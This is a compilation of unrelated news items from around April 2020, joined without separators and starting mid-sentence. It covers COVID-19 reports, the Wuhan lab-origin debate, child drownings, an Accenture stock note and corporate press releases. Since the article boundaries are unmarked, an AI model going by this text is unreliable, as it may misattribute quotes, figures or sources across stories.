5-year annual growth average of 8.8%, indicating the rate at which ACN is growing has accelerated. What's enabled this growth? Let's take a look at whether it is only because of an industry uplift, or if Accenture has experienced some company-specific growth. NYSE:ACN Income Statement April 28th 2020 In terms of returns from investment, Accenture has invested its equity funds well leading to a 32% return on equity (ROE), above the sensible minimum of 20%. Furthermore, its return on assets (ROA) of 15% exceeds the US IT industry of 6.7%, indicating Accenture has used its assets more efficiently. However, its return on capital (ROC), which also accounts for Accentures debt level, has declined over the past 3 years from 42% to 29%. What does this mean? While past data is useful, it doesnt tell the whole story. Positive growth and profitability are what investors like to see in a companys track record, but how do we properly assess sustainability? You should continue to research Accenture to get a more holistic view of the stock by looking at: Future Outlook: What are well-informed industry analysts predicting for ACNs future growth? Take a look at our free research report of analyst consensus for ACNs outlook. Financial Health: Are ACNs operations financially sustainable? Balance sheets can be hard to analyze, which is why weve done it for you. Check out our financial health checks here. Other High-Performing Stocks: Are there other stocks that provide better prospects with proven track records? Explore our free list of these great stocks here. NB: Figures in this article are calculated using data from the trailing twelve months from 29 February 2020. This may not be consistent with full year annual report figures. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. A 4-year-old boy died after his mother found him face-down in the bathtub inside their Tomball-area home early Tuesday morning, the second boy to have drowned in Harris County within hours of each other. The 4-year-old was in the bathtub with his 1-year-old sibling as their mother bathed them in the 25900 block of Fountain Bleau Drive around 1:30 a.m., according to Harris County Sheriffs Office Deputy Thomas Gilliland. The mother stepped away and returned to find the older boy, who has some kind of disability, unresponsive in the bathtub. REOPENING TEXAS: Abbott announces which Texas businesses can and cannot open May 1 Paramedics rushed the boy to a nearby hospital, where he was pronounced dead. Homicide detectives are interviewing the 27-year-old mother and a 77-year-old man who lives inside the home. Investigators hope to gather how long the mother was away from the bathtub, among other details of the tragic scene. Gilliland contended some might be skeptical of the mother bathing her child at such an early hour but acknowledged that families with members who have special needs often have non-traditional schedules. Shes pretty distraught, as would any mother who loses a child, Gilliland said. The boy was the second to drown in Harris County within hours. Around 7 p.m. Monday, another 4-year-old boy was found lifeless inside an apartment pool. MORE FROM JAY R. JORDAN: Houston police kill suspect who taunted officers with gunfire The child had wandered away from his home and ended up in the pool at the Timber Ridge Apartments in the 5300 block of Aldine Bender Road. Gilliland described that scene as a tragic accident and urged parents to pay attention to their children. You have to be sure to watch your children where theyre at all the time, he said. Thats one thing as parents we have to do. Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com Two Chinese scientists who worked for the Wuhan Institute of Virology studied bats in a CSIRO facility as part of researched funded by both the Australian and Chinese governments. Intelligence agencies from the 'Five Eyes' network comprising of Australia, New Zealand, Canada, the UK and the US are examining the work of two staffers at the Wuhan Institute of Virology in China, according to the Daily Telegraph. However, when questioned about the allegations by ABC Radio National, Trade Minister Simon Birmingham denied knowing of any such investigation. 'I don't and the government does not comment on national security or intelligence matters, that is a long standing practice. I am not aware of any investigation and I wouldn't comment on them even if I were,' Senator Birmingham said. 'However, we want to see transparent investigations into the causes so that we can prevent repeats of such pandemics into the future.' The alleged probe comes as President Donald Trump said the US is looking into whether the virus accidentally leaked from the lab, which was researching coronaviruses including the SARS virus, a close genetic relative of the current virus. US Secretary of State Mike Pompeo said the US had demanded access to the facility but the lab director said 'there's no way this virus came from us' and Beijing rejected the request. Shi Zhengli (pictured in 2017) - who is known as 'bat woman' by her colleagues - studied bat faeces to identify the mammals as a natural host for viruses similar to SARS Shi Zhengli (left) Zhou Peng (right) jointly wrote a paper in January that said the new coronavirus probably originated from bats, just like SARS An aerial view shows the P4 laboratory at the Wuhan Institute of Virology in Wuhan One of the scientists whose work is reportedly being examined by western spies spent three years at the Australian Animal Health Laboratory between 2011 and 2014. Zhou Peng, head of Wuhan's Bat Virus Infection and Immunity Project, was part of a study which involved transporting bats from Queensland to the lab in Geelong, Victoria where they were killed, dissected and studied for viruses. The project, funded jointly by the Australia and Chinese governments, found 'bats are rich reservoirs for emerging viruses'. The other scientist whose work is being examined also worked at Australia's Animal Health Laboratory for three months in 2006. Shi Zhengli - who is known as 'bat woman' by her colleagues because of her expeditions into bat caves to analyse the animals - studied bat faeces to identify the mammals as a natural host for viruses similar to SARS. The two scientists jointly wrote a paper in January that said the new coronavirus probably originated from bats, just like SARS. Zhengli told the Scientific American that when she was first told of a pneumonia outbreak she feared the lab may be responsible for leaking coronaviruses. Vendors wearing face masks as they offer prawns for sale at a market in Wuhan where reports of the virus first emerged in December She told the journal that she wondered: 'Could they have come from our lab?' Later, test results showed genome sequences taken from infected patients did not match any her team were working on in the lab, meaning the new coronavirus did not come from an accidental leak. She said: 'That really took a load off my mind. I had not slept a wink for days.' A spokesman for CSIRO confirmed bat research took place with international partners in Geelong. The spokesman said: 'CSIRO undertakes all research in accordance with strict biosecurity and legislative requirements. 'CSIRO's collaborations with research organisations from many countries around the world are helping drive global effort forwards to human diseases prevention and management. 'As with all partners, CSIRO undertakes due diligence and takes security very seriously.' This photo taken on April 15, 2020 shows a worker wearing a face mask as he throws ice into a pool with fish at a shop at a market in Wuhan where the first reports of the virus emerged in December It comes after the Australian government joined the US in calling for an international inquiry into the origins of coronavirus. Prime Minister Scott Morrison has repeatedly called for a coronavirus investigation and has demanded changes in the 'upper echelons' of the World Health Organisation after it praised China's handling of the outbreak. He was also the fist world leader to call for a ban on China's wet markets where the virus is suspected of jumping from animals to humans in November, calling their re-opening 'unfathomable'. The Chinese Foreign Ministry said it was 'seriously concerned and firmly opposed' to an inquiry and slammed foreign minister Marise Payne after she suggested China withheld information regarding the spread of the virus. Home Affairs Minister Peter Dutton also faced the wrath of Beijing when he said China needs to 'answer questions' on the virus origins after unsubstantiated reports from the US that it was grown in a lab in Wuhan and accidentally escaped. The Chinese Embassy hit back, calling Mr Dutton 'pitiful,' 'ignorant' and a parrot of America. This photo taken on April 15 shows a woman wearing a face mask as she offers prawns for sale at the Wuhan Baishazhou Market where the first reports of the virus emerged in December WHO insists 'all available evidence' suggests coronavirus came from an animal and was not created in a lab By Chris Pleasance for MailOnline The World Health Organisation has insisted that all available evidence suggests coronavirus was not manufactured in a lab. Takeshi Kasai, WHO Regional Director for the Western Pacific, said that while it has not been possible to identify the exact source, the disease likely came from animals. The WHO has previously said that the genetic makeup of the virus is closely related to coronaviruses identified in bats - suggesting the disease originated in that animal before making the leap into humans. The WHO has previously said the new coronavirus is similar to viruses already identified in a common species of bat (pictured), making them a likely source German Chancellor Angela Merkel has also called for 'more transparency' from China over the origin of the virus. Meanwhile Veronika Skvortsova, Russia's former health minister, refused to rule out the possibility that the virus came from a lab and called for a 'very through study'. WHO West Asia director Takeshi Kasai spoke out as world leaders called for an investigation into the virus's origins It is thought that the new coronavirus first made the jump from animals to humans at the Huanan Seafood Market in Wuhan, which is where the earliest cluster of cases was detected. However, China has so far failed to identify 'patient zero' - the first person to catch the infection. Without knowing who patient zero is or how they were infected, it will be impossible to know the true source of the virus. The WHO itself admits that the virus could have been carried to the Huanan Market by an already-infected human, who then spread it to others. Investigations are currently ongoing into possible cases of coronavirus dating back to mid-November 2019, a month earlier than previously thought. It came as rare footage emerged showing carrying out research at the Wuhan Institute of Virology - which has found itself at the centre of conspiracy theories around the virus's origin. Scroll down for video A video released by Chinese state broadcaster CCTV in February shows virologists donning spacesuit-like protective gears as they work in the P4 lab at the Wuhan Institute of Virology A video released by Chinese state broadcaster CCTV in February provides a glimpse into the institute. The 34million lab is affiliated to the Chinese Academy of Sciences. It was completed in 2015 and officially opened in 2018. In the clip, one researcher, named Zhang Huajun, demonstrates how he and one colleague put on two layers of protective suits and pass five air-tight chambers before entering the core part of the lab. The lab is said to have three testing rooms, two animal storage rooms, one virus bank and one animal-dissection room. Twenty-four scientists can work there at the same time. Researcher Zhang said the building was designed in such a way that air can only flow into the lab from the outside, not the other way around, to prevent leaks. Dr Yuan Zhiming, the deputy head of the Wuhan Institute of Virology, hit back at accusations that the virus leaked from his lab in an interview with state media over the weekend. 'There's no way this virus came from us,' Dr Yuan told CGTN, the English-language arm of CCTV. 'I know it's impossible.' The COVID-19 count in Navi Mumbai municipal corporation limits touched 188 after 43 people tested positive for novel coronavirus on Tuesday, a senior civic official said. NMMC spokesperson Mahendra Konde said 16 cases were detected in Turbhe, nine in Khoparkhairane and seven in Ghansoli. "There are three to four families where multiple members are infected. There are also two policemen posted in Mumbai, vegetable vendors, media personnel and two pregnant women," Konde said giving a profile break-up of the 43 cases. The number of coronavirus positive cases in Mira Bhayander Municipal Corporation limits reached 152 after 15 people were detected with the infection on Tuesday, civic official Raj Gharat said. The count in Thane Municipal Corporation limits, the district's largest civic body, stood at 256 after 15 people tested positive for coronavirus, spokesperson Sandeep Malavi said. Mumbra has the highest number of cases at 47 followed by Lokmanya-Savarkar Nagar with 42, he informed. "Kopri region has been sealed from today till May 3 as there are 33 cases now," Malavi informed. The COVID-19 count in Kalyan Dombivali Municipal Corporation rose to 143 with six additions on Tuesday, said civic public relations officer Madhuri Phopale. In Palghar district, eight people tested positive for the virus on Tuesday and the current figure stands at 154, an official said. Meanwhile, Palghar Collector Kailas Shinde, in an order late Tuesday evening, asked government staff to stay put in their offices and not go home till further instruction, stating that daily homebound journeys may increase the spread of the virus. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In a shocking example of the psychic toll that those fighting on the front lines of the coronavirus outbreak endure, a top emergency room doctor who treated coronavirus patients at a hospital in Manhattan has committed suicide, the New York Times reports. Dr. Lorna M. Breen, the medical director of the emergency department at New York-Presbyterian Allen Hospital, died in Virginia on Sunday, where she was staying with family, according to her father who discussed her death with the Times. Her father said she had described to him "devastating scenes of the toll the coronavirus took on patients," the NYT reported. "She tried to do her job, and it killed her," he said. Breen's father, also an MD, said his daughter had contracted the virus, but had gone back to work after recuperating for about a week and a half. Then, the hospital sent her home again, but at this point her family moved to bring her back to Charlottesville, Va. Breen, 49, had no history of mental illness, but when she last spoke with her father, she reportedly described a horrifying onslaught of patients found DOA in ambulances, all of them COVID-19 patients. Dr. Breen Her father asked the NYT to "make sure [Breen] is treated like a hero," since she died doing her job and protecting this country from a devastating health care epidemic. "She was truly in the trenches of the front line," he said. "Shes a casualty just as much as anyone else who has died." Dr. Lawrence A. Melniker, the vice chair for quality care at the NewYork-Presbyterian Brooklyn Methodist Hospital, told the NYT that Dr. Breen was well-respected and well-liked in their hospital system. "You dont get to a position like that at Allen without being very talented," he said. The coronavirus has presented unusual mental health challenges for emergency physicians throughout New York, the epicenter of the crisis in the United States. As the paper added, while ER doctors are inured to treating patients will all kinds of grisly injuries, they're not accustomed to being at risk of infection themselves, or of passing it to their colleagues. Last week, Verizon announced that it would continue to offer all wireless lines an additional 15GB of high-speed data through the end of May due to the COVID-19 situation that has many American with reduced or no income. On Monday, Verizon announced that it would continue to waive late fees and overage charges for its postpaid, residential, and small business customers through the end of June. Customers need to notify Verizon if they are unable to make payments by visiting this link. You can check out Verizons full press release at the Source link. Source TDT | Manama Bahrain welcomed yesterday the announcement of the Coalition to Restore Legitimacy in Yemen, which called for the reinstatement of Adens previous state. The Foreign Affairs Ministry urged an end to any steps contrary to the Riyadh Agreement, calling for the deal to be implemented quickly, being the agreed framework for uniting ranks, restoring state institutions, and achieving security and stability in Yemen. It urged all concerned parties to respond to the Coalitions call and commit to the agreement so as to preserve the interests of the Yemeni people, as well as maintain the unity of Yemen and its stability and territorial integrity. In a statement, the ministry stressed the importance of harnessing all efforts to restore the state of Yemen, fight terrorist organizations and achieve peace in the country. This is on the basis of the GCC Initiative and its mechanisms, the outcome of comprehensive National Dialogue, and the Security Council Resolution 2216. In Iran, more than 700 people have reportedly died after they ingested toxic methanol, a disinfectant agent, thinking that it would cure them of the coronavirus, a health official confirmed on April 27. An adviser to the ministry, Hossein Hassanian said in a statement that the victims mostly died outside of hospital admission, and therefore, death toll is far higher than what the Iranian Health Ministry released. The national coroner's authority informed that the cause of deaths of the COVID-19 patients was alcohol poisoning. Some 200 people died outside of hospitals, Hassanian said. While the Iranian health ministry spokesman, Kianoush Jahanpour, said that out of the total death toll, at least 90 fatalities lost their eyesight or suffered eye damage, Hassanian told international news media that the final tally of those people could be much higher. According to a government report released earlier in April, the deaths from toxic methanol poisoning in Iran have surged tenfold since the past year during the pandemic. It has claimed over 728 Iranians lives between Feb. 20 and April 7. However, the figures skyrocketed lately, whereas the deaths reported last year stood at near 66, an agency report confirmed. Read: Iran To Reopen Mosques In 'coronavirus-free' Areas, Introduces Colour-coding Method Read: US Grants Iraq Another Month's Waiver For Iran Gas Imports Manufacturers add bleach In Iran, the government mandates the production companies to add artificial colourant to the toxic methanol products for public caution to tell it apart from ethanol, which is used to sterilize wounds. However, some manufacturers add bleach to contaminate and mask the colourant to the fermented alcohol. Consumption, of this alcoholic beverage, is prohibited in Iran owing to both health hazards and under the legal law of the Islamic republic, as per the media reports. However, Iran has over 40 alcohol manufacturing units allocated for the production of pharmaceutical items. With over 91,472 cases of the novel coronavirus, Iran allowed some businesses in the capital and nearby towns to re-open this past week, according to reports. Although the gyms, restaurants, shopping malls, and Tehran's grand bazaar had remained under closure to control the public assembly. Government offices reopened with a third of employees working from home, while the schools and universities still remained closed. (With inputs from AP) Read: Trump: Testing At Good Levels To Re-open Economy Read: Trump Vows To Hold China Accountable For Outbreak BRASILIA, April 24 (Reuters) - Brazil's President Jair Bolsonaro said on Friday that allegations that he had tried to interfere in the work of the federal police were "baseless accusations" by outgoing Justice Minister Sergio Moro. Bolsonaro, addressing the nation, said he had never tried to interfere in police investigations and had never sought to shield family members from them. He said he had full authority to replace the federal police chief, who was dismissed earlier on Friday, triggering Moro's resignation. (Reporting by Lisandra Paraguassu Writing by Anthony Boadle Editing by Brad Haynes; Editing by Diane Craft) Panaji, April 28 : In view of mounting social and political pressure, Panaji Mayor Uday Madkaikar on Tuesday, apologised for buying a new car amid corona crisis. This is the time when the state government as well as civic corporation is also facing financial crunch. "I apologise to the people of Panaji. I should not have bought a car in this crisis," Madkaikar told reporters in Panaji on Tuesday. Madkaikar heads the ruling BJP panel in the city corporation. He has been under fire from both his BJP colleagues, opposition as well as civil society for buying an expesive car on Monday costing around Rs 16 lakh. Madkaikar claimed that he had requested the government for grants to buy a new car for himself a year back. "The car I was using was seven years old. I had requested the government permission to to buy a new car. The cost of this new car is Rs 16.70 lakh. The government at that time had sanctioned the Corporation upto Rs 14 lakh for a new car for an incumbent mayor," Madkaikar told reporters. The mayor further said, that fresh guidelines which were issued by the government earlier this month, increased the cap to purchase a car for the Panaji mayor's office from Rs 14 lakh to Rs 20 lakh and the new car was purchased on Monday, the day after the carshowroom opened after the relaxation in lockdown guidelines. Reuters review of data from 16 of Indonesias 34 provinces suggests COVID-19 deaths far higher than official toll. More than 2,200 Indonesians have died with acute symptoms of COVID-19 but were not recorded as victims of the disease, a Reuters review of data from 16 of the countrys 34 provinces showed. Three medical experts said the figures indicated the national death toll was likely to be much higher than the official figure of 765. Indonesia has one of the lowest testing rates in the world, and some epidemiologists say that has made it harder to get an accurate picture of the extent of infections in the worlds fourth-most populous country. The most current data from the 16 provinces shows there were 2,212 deaths of patients under supervision because they had acute coronavirus symptoms. Indonesias health ministry uses the acronym PDP to classify these patients when there is no other clinical explanation for their symptoms. The data is collated by provincial agencies daily or weekly from figures supplied by hospitals, clinics and officials overseeing burials. It was obtained by Reuters by checking websites, talking to provincial officials and reviewing World Health Organization (WHO) reports. The 2,212 deaths were in addition to the deaths of 693 people who had tested positive for COVID-19 in those provinces and were officially recorded as victims of the disease. The 16 provinces account for more than three-quarters of the countrys 260 million population. A senior member of the governments COVID-19 taskforce, Wiku Adisasmito, did not dispute the Reuters findings but declined to comment on the number of coronavirus victims he believed were to be found among the patients classified as PDP. He said many of the 19,897 suspected coronavirus sufferers in Indonesia had not been tested because of the number of specimens awaiting processing at under-staffed laboratories. Some people had died before their sample was analysed, he said. If they have thousands or hundreds of samples they need to test, which one will they give the priority? They will give the priority to the people that are still alive, he told Reuters. Adisasmito is the most senior public health expert on Indonesias COVID-19 taskforce; President Joko Widodos press office typically refers queries to the taskforce. According to the Ministry of Healths most recent COVID-19 guidelines, patients classified as PDP are those with acute respiratory illnesses for which there is no clinical explanation other than the new coronavirus. To be classified as PDP, patients must also have travelled to a country, or an area in Indonesia, where the coronavirus has taken hold within 14 days of becoming sick. I believe the vast majority of PDP deaths were caused by COVID-19, said Pandu Riono, an epidemiologist at the University of Indonesia, citing their COVID-19 symptoms and that there was no other identified cause of death. Some senior government members played down the risk of an outbreak in January and February with some suggesting that prayer, herbal remedies and hot weather would help ward off the virus. The death toll is now the highest in Asia after China, according to Reuters. Burials The provincial data follows a report by Reuters this month that burials in the capital Jakarta in March were 40 percent higher than in any month since at least January 2018. The citys governor told Reuters that coronavirus was the only likely explanation. Indonesia had officially recorded 9,096 coronavirus infections as of April 27. It has conducted 210 tests per million people. Neighbouring Australia has tested 100 times more per capita, while Vietnams testing is about 10 times higher. The true infection and death rate are higher than the officially reported data because our tests are still a very low number compared to the population, said Dr Iwan Ariawan, an epidemiologist from the University of Indonesia. President Joko Widodos government has been accused by activists and his political opponents of lacking transparency around its handling of the outbreak. The government says it has taken appropriate measures, but Widodo said last month that some information had been withheld from the public to prevent panic. Widodo said last week he had told his ministers to report COVID-19 data truthfully. His government announced a new transparency initiative two weeks ago, but a promised new website with all the data has yet to be launched. Daeng Faqih, chairman of the Indonesian Doctors Association, the countrys pre-eminent grouping of doctors, has urged the government to reveal the national number of suspected COVID-19 patients who died but had not been tested. The WHO representative office in Indonesia also said at the weekend that deaths of suspected coronavirus sufferers should be disclosed. Adisasmito said the government was not hiding data and that he was unaware the WHO had called for suspected COVID-19 death statistics to be made public. On Tuesday, the WHO declined to offer any comment beyond its weekend advice, made in its latest situation report on Indonesia. Dear citizens and compatriots, I would like to apologize to you for the incident that you witnessed. This is what Deputy Speaker of the National Assembly of Armenia, member of the ruling My Step Alliance Alen Simonyan said from the podium of the National Assembly today. He suggested that citizens draw conclusions and noted that it is necessary to record the fact that he has apologized. During a parliamentary session today, Alen Simonyan and leader of Bright Armenia Party and head of the Bright Armenia faction Edmon Marukyan offended each other very rudely. It all started when deputy of the Bright Armenia faction Ani Samsonyan declared that nobody and not even the colleagues of the ruling alliance treat Alen Simonyan seriously, and this statement was made in Alen Simonyans absence. Simonyans colleagues supported him, and in response, Samsonyan said if her statement was not right, nobody would comment and wouldnt support the deputy parliamentary speaker. When Simonyan returned to the room, he criticized Bright Armenia Party and particularly head of the faction Edmon Marukyan. In response, Marukyan started speaking informally with Simonyan, to which Simonyan responded by making an offensive remark. As a result, this public debate crossed all the permissible and inacceptable limits of parliamentary ethics. The deputy parliamentary speaker reminded the leader of the political party about his past and about how he had refused to participate in the revolution organized by the My Step Alliance. During the speech, Edmon Marukyan would shout from his seat, but Simonyan also offended him. Advertisement Grass has sprouted between cobblestones in Rome's piazzas as lockdown measures keep pedestrians away. The new growth coincides with a significant plunge in footfall due to the country's strict stay-at-home measures, in what could be described as nature's silver lining to coronavirus. Italy has been the epicentre of Europe's coronavirus devastation with a staggering 199,000 confirmed cases and nearly 27,000 deaths. The country's lockdown - which was imposed on March 9 - has had a significant impact on its ecosystem, with cleaner air, canals, and a resurgence of wildlife spotted over the past seven weeks. Lush grass can now be seen in the Piazza del Campo, Siena, which hosts the Palio di Siena horse race twice a year, after crowds of tourists and Italians were banned from visiting the square. Other squares including Piazza Navona have seemingly grown 'lawns' amid the quarantine. Grass is growing between cobblestones in Piazza Monte Citorio square, Rome, due to fewer people walking around amid Italy's lockdown measures The weeds are the most growth the Piazza Monteo Citoro Square has seen for years, The new growth coincides with a significant plunge in footfall due to the country's strict stay-at-home measures, in what could be described as nature's silver lining to coronavirus Lush growth now lines the cobbles because of fewer people walking around Rome Piazza Monte Citorio Square Tufts of grass (right) grow on Rome's iconic Piazza Navona due to the absence of pedestrians during the nationwide lockdown. The same area is pictured, left, in 2008 Italians have been living under a national stay-at-home order since 9 March, with everyone required to remain within a few streets of their door Grass rowing in Piazza del Quirinale square in Rome (left) as Piazza dell'Esquilino has also seen weeds and greenery sprouting forth The lockdown rules mean Italy's 60 million resident have been unable to leave their homes for anything other than essential travel, as non-essential businesses and shops were shuttered. Above right, a lawn appears to be growing in the Piazza Navona Square in Rome Piazza di Montecitorio sits in the center of Rome, not far from the Pantheon, and was named after one of Rome's minor hills Monte Citorio. The usual tourists (left) are now nowhere to be seen Grass sprouts from the road's cobblestones as a woman jogs past the equestrian statue of Giuseppe Garibaldi on April 26 (right) as tourists ( left) are nowhere to be seen A much busier Piazza del Popolo seen in 2015 (left) as (right) a woman rides a bicycle across the cobbled pavement on April 24 Everyone has been required to remain within a few streets of their home and only those with a valid work or family reason unable to be postponed have been allowed to travel Weeds sprout forth in Piazza Navona, developed on the site of the Stadium of Domitian which was built in the 1st century AD (right), in much quieter scenes than usual (left) Conte's phase two measures will allow residents to move around their own regions and reopen bars and restaurants for takeaway service. Above, a man walks through Piazza Navona When the lockdown was imposed Conte said it was designed to protect the most vulnerable and that 'There is no more time' A woman wearing face mask stands in the historical Piazza Navona square in Rome on April 24 Everyone has been required to remain within a few streets of their home and only those with a valid work or family reason unable to be postponed have been allowed to travel. The lockdown has caused a surprising abundance nature and wildlife, with dolphins and wild boar spotted in the country's deserted ports and roads. Turtles and nutrias have been captured basking in the Milan heat as residents stay indoors and Venice in particular has noted unprecedented ecological sightings across the tourist-free city. An aerial view taken on April 25, 2020 in Venice shows the eerily-quiet Rialto bridge over the Grand Canal An aerial view taken on April 25, 2020 shows the Golden Angel atop the Bell Tower (centre) and the Basilica di Santa Maria della Salute (rear left) as the sun rises over Venice and showcases the city's bright blue water Above, ducks walk freely in the streets of Venice during lockdown which has brought the city to a standstill Rare scenes show a nutria spotted basking in the heat in Milan on April 19, left, as turtles enjoy the sun in a pond in a green area, now deserted, in central Milan A dolphin was spotted swimming in Venice's canals in just the second week of lockdown Ducks have been spotted nesting at ports and the the city's network of canals remain empty of speeding motorboat taxis, transport and tourist boats, meaning water is the clearest it has been in living memory. The lockdown has allowed sediment to settle at the bottom and leaving the surface clear, experts say. Just yesterday an octopus was spotted in in its canals, following the rare sighting of a jellyfish last week. Irene Guarneri, one of the ecologists examining the footage, said octopuses were not 'exempt' from the lagoon but were 'certainly very rare' The octopus was sighted near the Piazzale Roma last week and reported to experts at the city's Institute of Marine Science. Irene Guarneri, one of the ecologists examining the footage, said octopuses were not 'exempt' from the lagoon but were 'certainly very rare'. The octopus sighting came a week after a jellyfish was filmed swimming slowly through a canal. Zoologist Andrea Mangoni, who filmed the jellyfish, said: 'The flora and fauna of the lagoon have not changed during lockdown. What has changed is our chance to see them.' 'Now we can see 50-60cm, and sometimes even a metre from the surface. As a result, we can see animals that were literally hidden in the murky waters. A barrel jellyfish swims in a Venetian canal earlier this month, after the city's famous waterways became their clearest in living memory because of the coronavirus lockdown 'Some animals that before were relegated to bigger or wider canals in the lagoon, can now go as far as in the city centre since the traffic of gondolas, motorboats and smaller boats has ceased,' he said. The country's skyline has also become more visible as pollution cleared amid the fall in traffic and where dirty air once hindered the view of the Italian Alps, the mountain range is now clear to see. The Italian government confirmed the country's first cases of the disease on 30 January when it was detected in two Chinese tourists. Initially only the northern region of Lombardy and 14 nearby provinces were included in the lockdown which was extended nationwide by Prime Minister Giuseppe Conte on March 9. Conte said the lockdown was designed to protect the most vulnerable and that 'There is no more time.' A combination picture shows a view of the Italian Alps standing amidst dense fog and smog January 8 (top) and the same view pictured during coronavirus disease outbreak, in Milan on April 17 (bottom) The rules mean Italy's 60 million resident have been unable to leave their homes for anything other than essential travel, as non-essential businesses and shops were shuttered. But the country's newly-flourishing eco-system could be gone as quickly as it arrived after Giuseppe Conte announced measures would be relaxed from 4 May. People will be allowed allowed to visit their relatives in small numbers and parks, factories and building sites will reopen. His phase two measures include allowing residents to move around their own regions and reopening bars and restaurants for takeaway service. Although schools will not restart classes until September, the impending increased footfall could soon spell the end of its lush green grass and animal resurgence. Press release 28 April 2020 European digital services group SQLI posted Q1 2020 consolidated turnover[1] of 59.0 million, down 4.9% compared to Q1 2019. This reflects a brisk start to the year for Commerce & Experience and the expected contraction of the Digital & Technology business, followed by a substantial decline, particularly in France, in the second half of March due to the emergence of the health crisis. Recently acquired Redbox Digital, an e-commerce agency based in the UK and Middle East, has been consolidated since 1 March 2020 and contributed 0.7 million to Q1 turnover. On a like-for-like basis, quarterly sales fell 7.0%[2]. m - IFRS - unaudited Q1 2019 Q1 2020 Change TURNOVER 62.0 59.0 -4.9% o/w COMMERCE & EXPERIENCE 25.9 28.3 +9.6% o/w DIGITAL & TECHNOLOGY 36.1 30.6 -15.3% COMMERCE & EXPERIENCE - INTERNATIONAL EXPANSION Commerce & Experience, which brings together the European digital agency operations, posted solid growth of 9.6% in Q1 2020, still in line with medium-term goals and mainly driven by e-commerce. Q1 was marked by the acquisition of Redbox Digital. This instantly accretive acquisition has strengthened the Group's international coverage (2019 revenue of 7.3 million generated in Europe and the Middle East), expanded the portfolio of key accounts (including AXA Insurance, Nahdi Medical, Nespresso, Fortnum & Mason and Universal Music Group) and positioned SQLI among the 10 Global Elite Partners of Adobe/Magento, the world's leading e-commerce platform. It also shows the Group's determination to play a unifying role in the European digital agency market, in accordance with the ONE FORCE 2022 plan. Commerce & Experience also expanded its business considerably in France (Boulanger, Soufflet), where the first few months of the new sales organisation have shown promise, and in the international market (Brutele, Carlsberg, Colruyt), where the Group signed a new contract with major client Nespresso. International business accounted for 84% of the division's quarterly revenue. DIGITAL & TECHNOLOGY Digital & Technology sales fell 15.3% in Q1 2020. In accordance with the strategic plan, in the first quarter SQLI continued to streamline its offering and discontinue non-profitable businesses as part of a process initiated in the second half of 2019. This policy led to a contraction in business, exacerbated by comparison with the particularly strong start to 2019 and the initial impacts of the health crisis, particularly in the aviation industry. In Q1 2020, Commerce & Experience accounted for 47% of the Group's business (up 5 percentage points) versus 53% for Digital & Technology. TRENDS AND OUTLOOK As soon as the lockdown measures were announced, a business continuity plan was successfully implemented, involving widespread use of teleworking in order to protect employees and ensure they could continue to perform their assignments. However, these measures, coupled with uncertainty over the duration and magnitude of the ensuing economic crisis, will have a significant impact on business in the second quarter of 2020, particularly in France. Given the exceptional circumstances, SQLI has taken the necessary measures to mitigate the impact of the situation on its results, in particular via short-time working arrangements for around 30% of employees in France, adjustment in sub-contracting, a virtual hiring freeze and cost optimisation across the board. At 31 March 2020, SQLI had 2245 employees. To safeguard its financial structure and prepare for the resumption of business under optimum conditions, the Group has negotiated a 25 million state-guaranteed loan with its banking pool (BNP, Banque Palatine, Caisse d'Epargne and Societe Generale) with the support of LCL. SQLI confirms its decision not to pay dividends in 2020 in order to allocate all financial resources to the company's development. As announced on 24 March 2020 in the 2019 results press release, SQLI prefers not to provide any quantified targets for 2020. UNIVERSAL REGISTRATION DOCUMENT The resolutions to be submitted to the General Meeting on 25 June 2020 will be approved by the Board of Directors on 7 May. The Universal Registration Document (URD), including the 2019 Annual Financial Report, is expected to be filed with the French Financial Markets Authority (AMF) and made available to the public on 12 May 2020. SQLI will publish H1 2020 turnover on 28 July 2020 after close of trading. Receive SQLI financial news free of charge by email by signing on at: www.actusnews.com About SQLI: Founded in 1990, SQLI is an international digital services group, combining the best technologies and methods to create user focused applications and services and e-Commerce solutions that enhance the customer experience. Its unique positioning as a trade, technology and skill transformation specialist, combined with the production capacity of its digital services centres, enable SQLI Group to help European key accounts increase their sales, reputation and internal performance over the long term. SQLI's 2,400 employees are spread over 32 agencies in 13 countries: France, Switzerland, Luxembourg, Belgium, the United Kingdom, Ireland, Germany, Sweden, the Netherlands, Denmark, Spain, South Africa and Morocco. SQLI posted turnover of 232 million in 2018 and has been listed on Euronext Paris (SQI) since July 21, 2000. https://www.sqli.com Follow SQLI on Linkedin Follow SQLI on Facebook and Twitter Investor Relations Olivier Stephan - +33 (0)1 85 64 20 20 - ostephan@sqli.com Jerome Fabreguettes-Leib - +33 (0)1 53 67 36 78 - jfl@actus.fr Financial Press Relations Nicolas Bouchez - +33 (0)1 53 67 36 74 - nbouchez@actus.fr [1] Estimated unaudited data [2] Exchange rate effect: +1 pp / change in consolidation: +1.1 pp ------------------------ This publication embed "Actusnews SECURITY MASTER ". - SECURITY MASTER Key: mHBqkptuaJrGl2ualZhla5dkam5nxpKVl2HGxmRok5mVZ2xonG5lbcWVZm9klmtq - Check this key: https://www.security-master-key.com. ------------------------ Copyright Actusnews Wire Receive by email the next press releases of the company by registering on www.actusnews.com, it's free Full and original release in PDF format:https://www.actusnews.com/documents_communiques/ACTUS-0-63164-sqli_cp_ca_t1_2020_en.pdf Moody's Analytics, a leading provider of financial intelligence, is pleased to announce the launch of its new SolvencyWatch solution, which helps insurers efficiently monitor their key solvency metrics. Powered by Moody's Analytics award-winning modeling capabilities, the SolvencyWatch solution provides fast valuation of an insurer's assets and liabilities. Chief risk officers can then monitor their solvency position in real time and answer "what-if" questions related to changes in the market. "Insurers need solutions that provide senior management with timely and actionable financial analytics," said Jack Cheyne, Senior Director at Moody's Analytics. "These metrics are increasingly important in the current environment, so it's very pleasing to see customers are already using SolvencyWatch to deliver management information that can help firms navigate business through uncertain times." Click here to learn more about the Moody's Analytics SolvencyWatch solution. About Moody's Analytics Moody's Analytics provides financial intelligence and analytical tools to help business leaders make better, faster decisions. Our deep risk expertise, expansive information resources, and innovative application of technology help our clients confidently navigate an evolving marketplace. We are known 